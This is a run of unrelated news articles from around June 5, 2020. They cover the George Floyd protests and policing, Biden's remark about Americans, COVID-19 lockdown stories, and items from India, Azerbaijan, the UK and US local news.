The New York Times reports Biden spoke to a group of black supporters Thursday night in a livestream moderated by actor Don Cheadle. Biden criticized President Donald Trumps response to nationwide protests against police brutality after the death of George Floyd, a black man who died on Memorial Day when a Minneapolis police officer kneeled on his neck for nearly nine minutes.

The words a president says matter, so when a president stands up and divides people all the time, youre going to get the worst of us to come out, Biden said. Do we really think this is as good as we can be as a nation? I dont think the vast majority of people think that."

There are probably anywhere from 10 to 15 percent of the people out there that are just not very good people, but thats not who we are. The vast majority of the people are decent, and we have to appeal to that and we have to unite people  bring them together. Bring them together.

Joe Biden says that about "10 to 15 Percent" of Americans are "not very good people." pic.twitter.com/xwd1W6tLrr  Daily Caller (@DailyCaller) June 5, 2020

Bidens comments stirred up widespread social media reactions. Some argued 10-15% -- up to 50 million Americans -- was too high of an estimate, while others argued it was too low.

Bloomberg compared the remarks to former Secretary of State Hillary Clintons comments leading up to the 2016 election, when she said half of Trump supporters were a basket of deplorables who were racist, sexist, homophobic, xenophobic, Islamophobic -- you name it. The comments were repeatedly brought up in the presidential race, which Clinton lost to Trump.

The Times pointed out that another former presidential candidate, Mitt Romney, was also criticized for his 2012 comments that 47 percent of voters would never support him because they were dependent on the government.

Hmmm. That translates into 33-50 million Americans https://t.co/s8XANumArf  Senator John Cornyn (@JohnCornyn) June 5, 2020

Question of the day: do you agree with Joe Biden that up to 15% of Americans are "not very good people?"



I think the number is more like 1% but then again I have been accused of beintg too optimistic.



Your thoughts?https://t.co/fBdfqh7Z6k  Charles V Payne (@cvpayne) June 5, 2020

People are mad for Joe Biden saying 10-15% of Americans are bad people. I guarantee that number is more like 30%  alex picciarelli (@alexpicciarelli) June 5, 2020

Joe Biden says 10-15% of Americans arent good people. Who the heck came up with that scientific conclusion? What a joke! Lol   Madison Gesiotto (@madisongesiotto) June 5, 2020

If you think it's controversial to say that 10-15% of Americans are bad people I invite you to watch any of the 10000 videos that pop up every night of the people most duty-bound to protect and serve casually stomping on people. And then rewatch the Charlottesville Nazi march.  Ken Tremendous (@KenTremendous) June 5, 2020
BAKU, Azerbaijan, June 5

By Ilhama Isabalayeva Trend:

The project "Creation of Zagatala-Balakan Biosphere Reserve" has been launched in Azerbaijan, Deputy Chairman of the Department for Biodiversity Conservation of the Ministry of Ecology and Natural Resources Arzu Samadova said, Trend report citing the ministry.

Samadova said the Zagatala-Balakan Biosphere Reserve, which will be established on the basis of the Zagatala State Nature Reserve within the project, will create conditions for the development of ecotourism and increase employment of the local population in the region, as well as help identify trails and observation points so that people can see the beauties of nature without harming the flora and fauna.

The official added that the biosphere reserve also exists in Turkey, Russia and Belarus, and now Azerbaijan will have one of its own.

Samadova noted that conditions will be created to stimulate ecological and rural tourism in the region and increase the socio-economic welfare of the population.

She went on to add that the mentioned biosphere reserve will have modern infrastructure and will be provided with alternative and renewable energy sources. At the same time, a farm will be established on the territory for production of environmentally friendly products.

"One of the features of the biosphere reserve is that the organic products produced here will be marked with the logo of the reserve and will be exempt from customs duties when exported to a number of countries. The project also plans to provide small grants to people engaged in economic activities in the surrounding areas, she said.

Samadova also said that the project is funded by the Federal Ministry for Economic Cooperation and Development (Germany) and has an implementation period of 4 years.
As the protests against the killing of George Floyd continued, US Attorney General William Barr has blamed foreign interests and "extremist agitators" of exploiting the nationwide protests which has been largely peaceful with sporadic incidents of violence.

"We have seen evidence that Antifa and other similar extremist groups, as well as actors of a variety of different political persuasions, have been involving in instigating and participating in violent activity," Barr said at a news conference.

Barr`s statements came three days after an internal intelligence assessment by the US Department of Homeland Security found that most of the violence at the protests seems to have been carried out by opportunists, and not by organized extremists.

Both Barr and US President Donald Trump have trained their guns at Antifa, a loosely organized anti-fascist movement, but the federal prosecutors in Las Vegas on Wednesday charged three members of the far-right "Boogaloo" movement for plans to cause violence and destruction during the ongoing protests.

While Barr has claimed that he had seen evidence of Antifa's involvement, and blamed them for instigating and participating in violent activity. He defended his decision to forcefully push protesters back from the White House on Monday evening, saying rioting had gotten out of control.

The protests in the US is an outcry over the death of African American man George Floyd which is the latest in a long series of killings of black men by white police officers.
New Delhi, June 5 : Even as the offer to provide 1,000 buses to Yogi Adityanath-led BJP government in Uttar Pradesh was rejected, Congress General Secretary Priyanka Gandhi Vadra anchored the arrangement for the return of over 44,000 migrant workers of the state to their homes, party sources said.

Stranded in several parts of the country, Gandhi managed to provide this multitude a hope to get seats in Shramik Special trains, seats in buses and other modes of transport and this process started much before her appeal to the Uttar Pradesh CM, they said.

A top Congress source, associated with Priyanka Gandhi, said, the party General Secretary, who is also the in-charge for eastern Uttar Pradesh, was helping the people even before the Shramik Special trains were introduced on May 1 and bus episode with the Uttar Pradesh government in mid May.

The source said after the lockdown was extended for the first time for 19 days, Priyanka Gandhi took up the work to help the stranded migrant workers as visuals of people travelling on foot with their children started surfacing on the news channels and social media.

"Due to her intervention, over 44,000 migrant workers were sent back by the buses or Shramik Special arranged by different state units to Uttar Pradesh," the source said. "And to ease the process of helping the stranded migrant workers she also launched UP Mitra helpline on May 5," the source said, adding that through the helpline over 5.5 lakh people registered for their travel while over five lakh requests were received from different district units of the state.

The list was then shared with different state units for their travel arrangements, the source said. When asked, if Priyanka Gandhi's team paid for the Shramik Special trains, the source clarified that the Congress leader did not book the trains, but she kept on forwarding the requests that her office received from the migrant workers to the state units.

The state units then coordinated with the migrant workers and arranged for their return either by buses or Shramik Special trains and the amount was paid by the Congress state units, the source said.

Congress interim chief Sonia Gandhi on May 4 while emphasising upon the plight of migrants and the money being charged from them for being ferried to their homes, had said that the party will bear the cost of their rail tickets. "And till date, the Congress state units roughly paid for the fares of over 22 Shramik Special trains to the Gujarat, Maharashtra and Punjab state governments, which were destined for Uttar Pradesh, as our workers were coordinating for the passengers lists," the source added.

"The office of Priyanka Gandhi used to share the request for the travel and ration arrangements of the migrant workers stranded in Mumbai with us," Suraj Singh Thakur, Vice President of Mumbai Youth Congress told IANS. Thakur, who was coordinating for the safe return of the migrant workers said, Priyanka Gandhi's office ensured that the list shared with the Maharashtra Congress team was properly followed up and all help was being provided. Thakur further said that with the intervention of Priyanka Gandhi, the Congress state unit was able to arrange for the travel of over 10,000-12,000 migrant workers from Maharashtra to Uttar Pradesh either by trains or through other mediums likes small vehicles or buses.

He said, through Shramik Special trains, the Congress state units arranged for the travel of over 15,000 people while some with medical emergencies or family emergencies were sent through small vehicles or buses. He also said that they provided them with water bottles and food for their journey.

Ashwini Kumar Sharma, Ludhiana Congress President said, "Kishori Lal Sharma from Priyanka Gandhi's office kept sharing the lists of the people stranded in Ludhiana and those who needed assistance.

"We even arranged ambulances and admitted several people to hospital as requests were received from the Priyanka Gandhi office," Sharma said, adding that similarly our workers in Amritsar and Chandigarh also got the requests for the return of migrant workers from Uttar Pradesh.

Sharma said that Priyanka Gandhi personally intervened in the process of arranging for the travel of the migrant workers and those who needed ration or any other help.

"We received request of thousands of people from Ludhiana who wanted to go back to UP. And then we prepared the list and arranged for their travel by buses, small cars and Shramik Special trains," he said.

Sharma said, after the message from Sonia Gandhi, the Captain Amarinder Singh-led Punjab government bought the train tickets worth Rs 35 crore for the migrant workers staying in the different parts of the state.

Deep Naik, Congress Vice President in Gujarat's Surat said that the helpline started by Priyanka Gandhi was of great help to connect with the people who wanted to go back to their home states during the nationwide lockdown.

Naik said, "Priyanka Gandhi led from the front and thus we were able to reach out to the maximum stranded families, who were residing in Surat and wanted to go back to their homes." The Congress leader said, "From Gujarat, we arranged for over seven Shramik Special trains for different parts of the country most of them went to UP." Naik further said that from Surat over 25,000 people were able to go back to their native places due to the list that we got from the Congress General Secretary's office.

After the nationwide lockdown, thousands of migrant workers travelled with their belongings either on foot or bicycle to go back to their native places in the absence of transport. The exodus was one of the most striking feature that would describe the lockdowns in a longtime to come.

(Anand Singh can be contacted at anand.s@ians.in and Syed Moziz Imam can be contacted at Imam.m@ians.in)
New Orleans Police Superintendent, Shaun Ferguson defended the use of tear gas on protesters Wednesday night. Tear gas was deployed against protesters during a late night encounter in New Orleans only after demonstrators tried to forcibly cross police lines on an approach to a Mississippi River bridge, the police chief said Thursday.

"We did not attack anyone. We did not deploy gas on a peaceful protest. We did deploy gas on individuals who chose to use force against our officers when they were simply trying to protect the lives of our citizens and anyone else who chose to exercise their constitutional rights. That line was formed with the purpose of safety and safety only," he said.

Ferguson began Thursday's news conference by showing video of police discussing the situation with protest leaders  and allowing protest leaders to address the crowd using police public address systems. He emphasized that one woman addressing the crowd refused to advise demonstrators not to attempt to cross. On the video, an organizer could be heard telling men to get to the front of the line ahead of the attempt to cross the police line. Ferguson said leaders also advised women to remove jewelry before attempt to cross the police line were made.

Ferguson said three New Orleans residents were arrested along with two out-of-towners, one from Belgium and one from Massachusetts. The Wednesday night demonstration was one of the continuing protests around the nation arising from the police custody death of George Floyd. Ferguson expressed sympathy with the protesters' cause. He also said police must continue to improve relations with the community  but not through violence. New Orleans continues to implement reforms under a federal court agreement reached with the U.S. Justice Department.
School has looked a little different this spring.

Students, teachers, parents and more have needed to adapt.

In previous years, the Bitter Root Water Forum has hosted field trips in May for their Earth Stewardship Program. The Earth Stewardship Program is a year-long effort with seventh grade students that features monthly classroom visits from community educators and wraps up with environmental education field trips. Due to students learning from home this spring, the field trips were adapted to a virtual format. A student who participated stated they were glad the videos were fun to watch.

The Bitter Root Water Forum is a local nonprofit that works to bring the community together to protect, enhance, and restore the watershed we all rely on. Their watershed education programs aim to inspire youth and engage adults on various topics related to water resources. Through on the ground restoration, they work to improve water quality and wildlife habitat in the Bitterroot River and its tributaries.

Throughout the 2019-2020 school year, seventh graders at Victor, Lone Rock, Corvallis, and Darby middle schools have welcomed many speakers into their life science classrooms. Students came to expect a monthly visit from a local professional who presented on a specific natural resource topic. The Water Forum is grateful for the ongoing partnerships with Bitterroot National Forest, B.E.A.R., Bitterroot Valley FFA, and Montana Fish, Wildlife & Parks who provided a variety of presentations.

Through these lessons, students learned about the importance of irrigation, snowpack, Montana native fish, and the Bitterroot watershed. Over 185 students participated in classroom programs this year.

Typically, the end of the Earth Stewardship Program features a hands-on outdoor field trip to get students out of the classroom and exploring nature. By adapting the program, students were still able to learn virtually about some of the topics that would have been covered in the field.

Community educators joined the Bitter Root Water Forum and filmed each of their segments individually at Bass Creek Recreation Area. A short educational lesson and worksheet were created along with each video for students to work through.

Students were able to learn from Leslie Nyce with Montana Fish, Wildlife & Parks about Montana native fish, who walked them through an educational game they could play at home. They also heard from previous Water Forum board president Dave Schultz on stream flow, the Bitterroot National Forest on Fire Ecology, and Grace Pierstorff, the Big Sky Watershed Corps member for the Water Forum on Macroinvertebrates.

One student responded that it was cool learning about this stuff, after completing the virtual field trip, and another said I liked the videos and how detailed they got about each concept.

The Bitter Root Water Forum hopes that the online version encourages youth to get out in nature, and take some of the skills and lessons from the videos into their daily lives. All of the video lessons help connect youth to the watershed, and to the important role that water plays in a community.

The Water Forums Big Sky Watershed Corps (BSWC) member, Grace, coordinates the education program throughout the year with the four local schools. She organizes the community educators to go into the classrooms each month, and taught the students about the Bitterroot Watershed in February. The BSWC is an AmeriCorps program in partnership between the Montana Watershed Coordination Council, the Soil and Water Conservation Districts of Montana, and the Montana Conservation Corps.

The program assists Montanas watershed communities to make a measurable difference in local conservation efforts while strengthening the experience of young professionals. There are 35 BSWC members spread throughout the state of Montana for 2020. The Water Forums BSWC member position is funded in part by the Montana Watershed Coordination Council and Bitterroot Conservation District.

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Prince Charles and Prince Louis - Clarence House

The Prince of Wales has spoken of missing his family "terribly" in lockdown, saying he has not seen his father the Duke of Edinburgh for a "long time" and wanted to give people a hug.

The Prince, who is at Birkhall in Scotland, lamented that his father would celebrate his 99th birthday without him next week, saying how terribly sad it is to be away from family and friends.

Saying he has been doing the Facetime, the Prince told he has been missing grandchildren Prince George, Princess Charlotte, Prince Louis, and Archie Mountbatten-Windsor, who is in Los Angeles.

The prince has been staying at Birkhall since contracting a mild version of Covid-19 in March. He spent two weeks in isolation, separate from the Duchess of Cornwall, and has since been working from home.

Interviewed via video call by Sky News for the After The Pandemic series, the Prince was asked about being apart from his family.

Prince Charles, interviewed via video at Birkhall - Sky News

"Well it's terribly sad, let alone ones friends, he said. But fortunately, at least you can speak to them on telephones and occasionally do this sort of thing.

"But it isn't the same is it. You really want to give people a hug."

Of the Duke of Edinburgh, who celebrates his 99th birthday on June 10th and is at Windsor Castle, he added: "Well I haven't seen my father for a long time.

"He's going to be 99 next week, so yes, or my grandchildren or anything. I've been doing the Facetime, is all very well but...."

The Duke has been with the Queen in Windsor in March, in isolation along with a small number of household staff who work in three-week-long shifts to protect them from coronavirus.

Prince Charles and Prince Philip greet in 2017 - AP

Told by interviewer Rhiannon Mills that the time to embrace loved ones will hopefully be coming soon, the Prince said: Well I do hope so because, don't worry, I do totally understand so many people's frustrations, difficulties, grief and anguish.

Story continues

And I mean I'm just trying to do my best to find and help and encourage ways to enable people to go on doing that, but in a way that doesn't wreck everything at the same time around us."

During the interview, which was screened on Thursday evening, the prince said contracting coronavirus made him more determined to "push and shout and prod" and he called for nature to return to the "centre of everything we do".

On Wednesday, he launched the Great Reset, his proposals for rebuilding a more environmentally-friendly economy as the world recovered from Covid-19.

I was lucky in my case and got away with it quite lightly, he said. But Ive had it, and I can so understand what other people have gone through.

I feel particularly for those who have lost their loved ones and have been unable to be with them at the time. That to me is the most ghastly thing.

But in order to prevent this happening to so many more people, Im so determined to find a way out of this.

Urging the private sector to put planet first, he added: "We have a golden opportunity to seize something good from this crisis.
A former IT technician who planted a 'fake bomb' on Downing Street claimed that the rucksack containing eight Corona beer bottles was a 'spiritual' message to help fight Covid-19.

Toby Champeney, 57, allegedly left the suspicious package near Prime Minister Boris Johnson's official residence on 21 April.

He called police after abandoning the rucksack to warn them the package was set to 'explode', Westminster Magistrates' Court has heard.

Toby Champeney, 57, pictured above, told Westminster Magistrates' Court today that the rucksack containing eight Corona bottles was a 'spiritual message' to help fight the virus

Champeney, who worked in the past as an IT technician for Fidelity Investments and Crunchbox Computers, is charged with a bomb hoax offence and using threatening or abusive words or behaviour.

He turned up six hours after he was scheduled to appear in court today and an arrest warrant had been issued for his arrest.

The 57-year-old told the court he had stuffed eight bottles of Corona beer in the rucksack as a 'spiritual note' against the Coronavirus.

Defending Champeney, Sundeep Pankhania said: 'I apologise in advance, if what I am about to say makes anyone blush but I have a duty of candour to my client as well as to the court.

'He tells me that people should avoid the toilet downstairs because he did an explosive 'number two' in the toilet, that he knows is going to be remanded into custody and he wishes to go to Belmarsh.'

'Lastly he would like the matter settled whichever way it is to be settled.'

Mr Pankhania told magistrate Don Kennedy that Champeney has bipolar disorder and requested the matter be adjourned for tomorrow.

He said: 'It is clear to me that there are mental health difficulties in case.

A general view of Number 10 Downing Street's front door. Champeney, 57, allegedly left the suspicious package near Boris Johnson's official residence on 21 April (file photo)

Champeney appeared at Westminster Magistrates Court, above, in London today. He is charged with a bomb hoax offence and was remanded in custody (file photo)

'In short, what is being asked is that the matter be adjourned.'

Addressing the court and explaining his actions Champeney said: 'There were eight bottles of Corona in my rucksack. It was a spiritual note against Corona.'

Champeney who was wearing a Mexican draped cloth and a metal bike lock around his neck.

Mr Kennedy said: 'Having heard what Mr Pankhania has told us, we believe it is appropriate we adjourn this matter until tomorrow, and therefore we remand Mr Champeney in custody.'

Champeney from Fulham, is charged with a bomb hoax offence, placing an article, namely a 'rucksack at Downing Street, London, SW1, to induce in another a belief that the said article was likely to explode or ignite and thereby cause personal injury or damage to property'.

He is also charged with using threatening or abusive words or behaviour.

Champeney was previously released on conditional bail with a condition not to enter Whitehall.
Technology Development Institute expands lineman's prototype idea into reality

Friday, June 5, 2020

Andy Sedlacek with the new mechanically powered wire stripping device he created with the help of the Technology Development Institute at Kansas State University. | Download this photo.





MANHATTAN  Design assistance provided by the Technology Development Institute, or TDI, at the Kansas State University Carl R. Ice College of Engineering has helped bring a new version of a wire stripper used in the energy industry to market.

TDI works with a wide range of manufacturers and individuals to design, prototype, test and launch new products and technologies. One such recent project was assisting Andy Sedlacek, a lineman for a large Midwest electric power company, with developing a new tool for stripping a specialty wire. When installing new service connections, linemen use a special type of wire that requires them to strip off two to three feet of the wire's protective insulation. This was previously accomplished using basic hand tools, such as pliers, which was time-consuming and fatiguing.



Sedlacek approached TDI with a rough prototype device of how he envisioned a mechanically powered wire stripping device could function that would meet the needs of users for this type of application. TDI worked with Sedlacek to refine the concept in a computer-aided design format and make the desired changes and modifications to the existing prototype design.



"Through TDI's engineering and prototyping services, they were able to expand my ideas of a prototype and turn them into a reality," Sedlacek said.



In addition to refining the design, assistance was provided to complete a patent disclosure, create drawings and file a provisional patent on the concept to establish patent-pending status before presenting it to co-workers for design suggestions and improvements.



Once the design had been finalized, an initial prototype was produced and tested for improvements. During this period, TDI connected Sedlacek with a local patent attorney who assisted in filing the full utility patent on the device. This application was filed based on the final design from which five beta units were produced for field testing.



The new wire stripper is now commercially available to power companies across the United States and Sedlacek is seeking to establish distributor relationships to expand market penetration.



"It has been a great experience working with Andy on making his idea into a commercially available product with the assistance of Economic Development Administration and Kansas Department of Commerce grant funding," said Bret Lanz, TDI commercialization director. "The tool not only saves time but more importantly, improves safety for operators who are handling these installations frequently."



The K-State Technology Development Institute, a U.S. Department of Commerce Economic Development Administration University Center, provides a broad range of engineering and business development services to both private industry and university researchers to advance the commercial readiness of new products or technologies. Additional information is available at k-state.edu/tdi.






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Linkedin David Lawder and Jonathan Landay (Reuters) Washington, United States  Fri, June 5, 2020 10:40 595 fc6853813033f564188675f8bdc54788 2 World Washington,Donald-Trump,George-Floyd,protest Free

Thousands of National Guard troops and federal officers in riot gear and masks ringed the White House and monuments in the US capital this week, evoking comparisons to an occupying force.

Washington Mayor Muriel Bowser on Thursday said she wants most of them out of her district of 700,000 residents. But her powers are limited.

Like cities countrywide, the US capital has been rocked by a week of protests against police brutality and racism following the death of George Floyd, a black Minneapolis man who died after a white police officer knelt on his neck.

Shops and offices in D.C. and nearby areas were hit by nighttime vandalism and looting after peaceful demonstrations last weekend, prompting Bowser to impose a 7 p.m. curfew on Monday and Tuesday.

The Democratic mayor told reporters she is fine with D.C. National Guard helping to keep order. But she is examining all legal options to reverse the Trump administration's deployment of forces from elsewhere.

"We want troops from out-of-state, out of Washington, D.C.," Bowser said during a press conference on Thursday.

Several hundred active-duty troops from the 82nd Airborne Division who were sent to the D.C. area are expected to start returning to their home base in North Carolina, a US official said on Thursday.

Some 3,300 national guardsmen are in D.C. or en route from Florida, Indiana, Maryland, Missouri, Mississippi, New Jersey, Ohio, South Carolina, Tennessee and Utah, according to the National Guard.

The prospect of active-duty soldiers on the streets of the capital has alarmed former military officers.

"Every active-duty troop that participates in this thing should resign, should leave the military," said Harry Wiggins, a retired Army major, who on Thursday was carrying a staff with an American flag flying upside down, an international sign of distress, several blocks from the White House.

Bowser also questioned the command of hundreds of armed officers from nearly a dozen federal agencies, including Customs and Border Protection, the Bureau of Prisons and the Transportation Security Administration, who have been posted outside government buildings and on D.C. streets this week.

Military police officers are restraining a protestor near the White House on June 1, 2020 as demonstrations against George Floyd's death continue. - Police fired tear gas outside the White House late Sunday as anti-racism protestors again took to the streets to voice fury at police brutality, and major US cities were put under curfew to suppress rioting.With the Trump administration branding instigators of six nights of rioting as domestic terrorists, there were more confrontations between protestors and police and fresh outbreaks of looting. Local US leaders appealed to citizens to give constructive outlet to their rage over the death of an unarmed black man in Minneapolis, while night-time curfews were imposed in cities including Washington, Los Angeles and Houston. (AFP/Roberto Schmidt)

Some of the officers wore uniforms with no discernable insignias, raising questions about their identity and mission.

"We are concerned about the increased militarization and lack of clarity that may increase chaos," the top Democrat in Congress, House Speaker Nancy Pelosi, wrote on Thursday in a letter to Trump.

Taxation, representation

The security situation is complicated in Washington because the federal district does not have full autonomy, unlike most states where governors carry sole responsibility for security.

D.C. residents pay federal taxes but do not have representation in Congress, and the federal government can override some local authorities in emergencies. The D.C. National Guard, for instance, reports to President Donald Trump, whereas National Guard units elsewhere report to their local state governor.

"Until we fix that, we are subject to the whims of the federal government," Bowser said, referring to a long-running movement to make the district a state. "Sometimes they're benevolent and sometimes they're bad," Bowser said.

Lines have been blurred in recent days between areas normally patrolled by federal law enforcement agencies, such as the White House complex and the National Mall, and those under D.C.'s Metropolitan Police Department control.

US President Donald Trump holds a Bible while visiting St. John's Church across from the White House after the area was cleared of people protesting the death of George Floyd June 1, 2020, in Washington, DC. US President Donald Trump was due to make a televised address to the nation on Monday after days of anti-racism protests against police brutality that have erupted into violence. (Agence France Presse/Brendan Smialowksi)

US Park Police on Monday fired smoke grenades and chemical irritant "pepper balls" at protesters on H Street NW - normally D.C. police territory - to clear the way for Trump to walk from the White House to a nearby church for a controversial photo opportunity.

On Monday night, low flying military helicopters hovered over demonstrators and residential neighborhoods, which Bowser called a "very dangerous scare tactic."

A D.C. National Guard statement https://dc.ng.mil/Public-Affairs/News-Release/Article/2206033/commanding-general-orders-investigation-into-helicopter-usage said the incident involved a "medical evacuation helicopter" and was being investigated.
The stepmother of an 11-year-old Colorado boy who went missing before his body was found across the country two months later is facing a new charge of solicitation to escape the jail where she's being held for his murder.

Letecia Stauch sought help from a fellow inmate at El Paso County Jail through both a conversation and letters in which she laid out a plan to break through her cell window with a broom handle, according to a probable cause affidavit.

The inmate who reported Stauch said she was probably asked for help because she was "Italian and kind of the bad boy." Staunch also offered to give money to the inmate, who had access to a broom, in exchange for help, according to the affidavit.

PHOTO: Letecia Stauch makes her first appearance in El Paso County District Court in Colorado Springs, Colo., March 11, 2020. (KRDO-TV/The Gazette via AP, Pool)

"You have my word to make sure we are MIA," Stauch said in the letter, according to the affidavit. "I got us covered!"

The inmate said she wasn't going to help Stauch because she didn't want to make "her own situation worse" and because she knows about Stauch's charges and "doesn't want to be involved or have anything to do with her," the affidavit said.

MORE: Colorado boy Gannon Stauch's body found 2 months after going missing; stepmother facing new charges

A shakedown of Stauch's cell uncovered a letter addressed to her daughter saying that if "something comes up on the news like she is no longer in the jail or is missing to not be afraid." She also urged her daughter to keep normal and focused.

Stauch is being held for first-degree murder in addition to other charges related to the death of Gannon, who went missing Jan. 27 and was found 1,400 miles away near Pace, Florida, on March 20.

PHOTO: This Internet advisory, accessed Wednesday, Feb. 5, 2020 from the El Paso County Sheriff's Office, shows Gannon Stauch, of Colorado Springs, Colo. (El Paso County Sheriff's Office via AP)

Stauch was the last person to have seen Gannon. She told police he had stayed home from school, but that he'd left to go to a friend's home in the afternoon.

One of Stauch's neighbors came forward with surveillance footage a few days after Gannon went missing. It appears to show Stauch entering a red pickup truck around 10:13 a.m. and Gannon entering soon after. The video showed Stauch returning with the vehicle four hours later, without Gannon.

Story continues

MORE: The disappearance of Gannon Stauch: A timeline of the case

Gannon's father, Al Stauch, was on deployment with the National Guard from Jan. 25 to 28 and has cooperated with authorities. He filed for divorce from Letecia in March. Gannon's birth mother, Landen Hiott, had spent months pleading for her son's safe return.

Letecia Stauch faces life in prison without parole if she's convicted of first-degree murder. She has yet to make a plea, but is set to appear in court for a status conference on Friday.

ABC News' Clayton Sandell contributed to this report.

Letecia Stauch, woman accused of murdering stepson, facing new charges for attempted escape originally appeared on abcnews.go.com
Emirates and Etihad Airways will resume some transit flights after the United Arab Emirates (UAE) lifted a suspension on services where passengers stop off in the country to change planes, or for refuelling.

Dubais Emirates, one of the worlds biggest long-haul airlines, said on Thursday it would operate transit flights to 29 destinations in Asia, Europe and North America by June 15.

Abu Dhabis Etihad, meanwhile, said it would carry transit passengers to 20 cities in Europe, Asia and Australia from June 10.

The suspension was lifted late on Wednesday for UAE carriers, more than two months after the Gulf Arab state halted all passenger flights in March as it introduced drastic measures to curb the spread of the new coronavirus.

It has since allowed a few, limited flights, while domestic restrictions such as the closure of shopping centres have been lifted.

Foreign citizens remain banned from entering the Gulf Arab state except those holding UAE residency, who require UAE government approval before returning.

Qatar Airways also said on Thursday it was now flying more than 170 weekly flights to over 40 destinations, after announcing in May it would run operations to up to 80 destinations by the end of June.

The airline has maintained transit flights to around 30 destinations since March, with Qatar also banning foreign citizens from entering.

The coronavirus pandemic, which has seen countries around the world shut their borders as they went into lockdown, has decimated the global airline industry as demand was crushed.

Many countries continue to enforce tight entry restrictions, including some countries banning foreign visitors. Airlines around the world have warned it will take years for travel demand to recover.

SOURCE: REUTERS
Hyderabad, June 5 : Beleaguered Bollywood actress Meera Chopra turned in desperation to Telangana minister K. Taraka Rama Rao, and he didn't disappoint. For the past few days, the actress, who has worked in the Telugu film industry, has been facing trouble from irate fans of popular Telugu film star NTR or Jr. NTR.

Responding to a tweet for help from Meera Chopra earlier on Friday, the minister popularly known as KTR, tweeted back: "Ma'm, I have requested @TelanganaDGP and @CPHydCity to take stern action as per law based on your complaint." The Bollywood actress, who has worked in the local film industry, has been at the receiving end from fans of Telugu film star NTR, who hails from the NTR clan which includes former Andhra Pradesh Chief Minister Chandrababu Naidu. The star is grandson of veteran Telugu thespian, former AP Chief Minister and founder of the Telugu Desam Party, the late Nandamuri Taraka Rama Rao or NTR after whom he is named.

Meera Chopra's troubles began on June 3, when during the course of an online interactive session with fans, she had stated that Telugu star Mahesh Babu is her favourite actor from the South. When queried about NTR, she had responded that she was unaware of him and was not his fan either. The response angered NTR fans who began trolling her and threatening her.

KTR, Telangana minister for IT and other portfolios, is known to be extremely responsive to pleas for help on his Twitter account. Throughout the Covid-19 lockout, his Twitter account was constantly abuzz with various requests from common people.

Tagging KTR and his sister Kavita, whose father is Telangana Chief Minister K Chandrasekhar Rao, the actress, in a tweet, had said: "@KTRTRS @RaoKavitha ive been abused of gangrape, acidattack, abused, cyberbullied and slutshamed by your state. @hydcitypolice has filed an fir and i hope for the safety of women this will investigated thoroughly".

Apart from approaching the Hyderabad Police and filing a complaints in the matter, Meera Chopra, who is related to popular actress Priyanka Chopra, had also made appeals for help to Andhra Pradesh Chief Minister Y.S. Jagan Mohan Reddy, and the National Commission for Women too.

Later, Meera Chopra thanked KTR for his prompt response. "Thanks sir, it really means a lot. This is very important for women safety. These people should not be left free to do crimes on women!" she tweeted back, with twin emojis of folded hands.
Willamette Connections Academy Celebrates Class of 2020 These graduates inspire me with their resilience and determination, given all thats going on with the pandemic. They deserve special recognition for what theyve accomplished!

Willamette Connections Academy, the states newest tuition-free online K-12 public charter school, is hosting a special virtual commencement for family, friends, and school staff Friday, June 5th at 6 pm. The Class of 2020 is the schools first graduating class since it opened for the 2019-20 academic year last fall.

We are so proud of our first graduating class of seniors, said Chris Long, Principal at Willamette Connections Academy (WillCA). These graduates inspire me with their resilience and determination, given all thats going on with the pandemic. They deserve special recognition for what theyve accomplished!

The school originally planned for an in-person graduation but due to social distancing, the ceremony was moved online.

These graduates are part of history, more than just being our first class to graduate, noted Tim Hyre, Willamette Connections Academy School Board President. While the COVID crisis has disrupted learning for a lot of students, our Willamette Connections Academy graduates knew they could count on their fully-online school, including their teachers, to help them be successful with their education.

The Willamette Connections Academy Class of 2020 includes:

Kamree Black, The Dalles

Kyra Fech, Salem

Miranda Miller, Colton

Cloe Rylands, Vernonia

Of the graduates, two are going into the workforce, one is going on to a 2-year college, another is enrolling in vocational training.

Our school was established this year to offer more students an alternative to a brick-and-mortar education that meets their needs and their schedule, explained Long. Our inaugural years motto was We Will Grow, We Will Serve, We Will Explore, and we did all of that and more.

The school year started with approximately 50 students in the fall. Now, Willamette Connections Academy is serving nearly 350 students in grades K-12 across Oregon.

As a virtual public school, Willamette Connections Academy offers students the ability to attend from home or wherever there is an Internet connection. The schools individualized approach to learning combines state-certified teachers, an award-winning curriculum, technology tools, and socialization opportunities such as in-person field trips.

Enrollment for the 2020-2021 school year is currently underway. Willamette Connections Academy is offering free informational webinars over the next several weeks for prospective families and students who want to learn more about the engaging online education program. For a complete schedule and to sign up for one of the webinars please go to http://www.WillametteConnectionsAcademy.com/Events.

To learn more about the school call 888-478-9474 or visit the schools website.

About Willamette Connections Academy

Willamette Connections Academy (WillCA) is a statewide tuition-free, full-time, public virtual charter school. The school is authorized by the Scio School District and is overseen by its own governing board and school leader. The school utilizes the nationally recognized Connections Academy program, combining Oregon-certified teachers, a high-quality curriculum, technology tools, electives, clubs, and community experiences to create a safe, supportive environment for families seeking a personalized, flexible approach to education. For more information, call 888-478-9474 or visit the schools website.
Leonardo DiCaprio has vowed to do his part to help end the disenfranchisement of Black America as protests continue in the US in the wake of the death of George Floyd.

The actor spoke out in an Instagram post on Thursday.

I commit to listen, learn and take action, he wrote.

I am dedicated to end the disenfranchisement of Black America, that has been present for too long.

I will support those individuals, organisations and coalitions that are committed to bring about long-term change.

DiCaprio, whose activism has long focused on protecting the environment and fighting climate change, pledged to donate to four organisations.

He listed them as Color of Change, an online racial justice organisation; Fair Fight Action, which acts against voter suppression; the NAACP, one of the leading civil rights organisations in the US, and Equal Justice Initiative, which works to end mass incarceration and excessive punishment.

Please, join me, in following and learning from [these organisations], the actor wrote.

Floyd died aged 46 on 25 May after a white police officer knelt on his neck.

Four former Minneapolis, Minnesota officers have been charged in relation to Floyds death.
The Buffalo, New York Police Department has suspended two officers without pay and launched an Internal Affairs investigation after a viral video showed the cops shoving a 75-year-old protester onto a concrete sidewalk as police cleared Niagra Square during enforcement of a citywide curfew.

The man can be seen bleeding from the head following the incident.

According to the Buffalo News, the incident occurred several hours after a standoff between police in riot gear and protesters, who where blocking the street in front of City Hall.

Two members of @BPDAlerts push him - one of them gives up a name slowing down the 1080p version on YouTube



Cc: @JordanUhl pic.twitter.com/BQHqaTCnuW  JON (@Bern4Bern) June 5, 2020

Buffalo Mayor Byron Brown - who told protesters in Niagra Square on Thursday that he will formally outlaw the use of choke holds on suspects by the Buffalo PD - said that the man was "knocked down" by officers.

